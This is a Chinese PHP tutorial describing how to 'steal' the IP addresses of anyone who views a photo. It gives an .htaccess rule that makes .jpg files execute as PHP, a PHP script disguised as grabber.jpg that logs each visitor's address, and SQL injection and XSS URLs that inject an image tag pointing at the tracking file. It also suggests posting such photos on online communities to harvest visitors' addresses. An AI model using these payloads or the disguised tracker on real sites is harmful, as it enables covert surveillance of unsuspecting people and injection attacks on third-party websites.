基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
扩展你的 PHP 之入门篇
Dec 04 PHP
Adodb的十个实例(清晰版)
Dec 31 PHP
PHP+MySQL 手工注入语句大全 推荐
Oct 30 PHP
PHP Undefined index报错的修复方法
Jul 17 PHP
解析PHP中如何将数组变量写入文件
Jun 06 PHP
jQuery+php实现ajax文件即时上传的详解
Jun 17 PHP
php将url地址转化为完整的a标签链接代码(php为url地址添加a标签)
Jan 17 PHP
php猴子选大王问题解决方法
May 12 PHP
PHP实现接收二进制流转换成图片的方法
Jan 10 PHP
浅谈Yii乐观锁的使用及原理
Jul 25 PHP
thinkPHP框架实现类似java过滤器的简单方法示例
Sep 05 PHP
PHP实现Markdown文章上传到七牛图床的实例内容
Feb 11 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
Jquery Change与bind事件代码
2011/09/29 Javascript
setInterval,setTimeout与jquery混用的问题
2013/04/08 Javascript
jquery实现省市select下拉框的替换(示例代码)
2014/02/22 Javascript
2014 HTML5/CSS3热门动画特效TOP10
2014/12/07 Javascript
js实现每日自动换一张图片的方法
2015/05/04 Javascript
JS数组排序技巧汇总(冒泡、sort、快速、希尔等排序)
2015/11/24 Javascript
Ext JS框架中日期函数的用法及日期选择控件的实现
2016/05/21 Javascript
Vuejs第七篇之Vuejs过渡动画案例全面解析
2016/09/05 Javascript
jQuery常用样式操作实例分析(获取、设置、追加、删除、判断等)
2016/09/08 Javascript
详解在AngularJS的controller外部直接获取$scope
2017/06/02 Javascript
JS解决position:sticky的兼容性问题的方法
2017/10/17 Javascript
angular2中Http请求原理与用法详解
2018/01/11 Javascript
微信小程序使用字体图标的方法
2019/05/23 Javascript
layui实现下拉框三级联动
2019/07/26 Javascript
[28:48]《真视界》- 2017年国际邀请赛
2017/09/27 DOTA
[02:36]DOTA2-DPC中国联赛 正赛 PSG.LGD vs Magma 选手采访
2021/03/11 DOTA
Python自动登录126邮箱的方法
2015/07/10 Python
总结python实现父类调用两种方法的不同
2017/01/15 Python
解决pandas 作图无法显示中文的问题
2018/05/24 Python
Python Pandas 获取列匹配特定值的行的索引问题
2019/07/01 Python
Python实现微信翻译机器人的方法
2019/08/13 Python
python导入库的具体方法
2020/06/18 Python
python能做哪些生活有趣的事情
2020/09/09 Python
Pytorch如何切换 cpu和gpu的使用详解
2021/03/01 Python
css3 pointer-events 介绍详解
2017/09/18 HTML / CSS
Under Armour美国官网:美国知名高端功能性运动品牌
2016/09/05 全球购物
大学生自我鉴定
2013/12/08 职场文书
公司年会抽奖活动主持词
2014/03/31 职场文书
初一学生期末评语
2014/04/24 职场文书
学校社会实践活动总结
2014/07/03 职场文书
2014个人反腐倡廉思想汇报
2014/09/15 职场文书
高中地理教学反思
2016/02/19 职场文书
创业计划书之小型广告公司
2019/10/22 职场文书
Linux安装Nginx步骤详解
2021/03/31 Servers
深入解读Java三大集合之map list set的用法
2021/11/11 Java/Android
一文搞懂MySQL索引页结构
2022/02/28 MySQL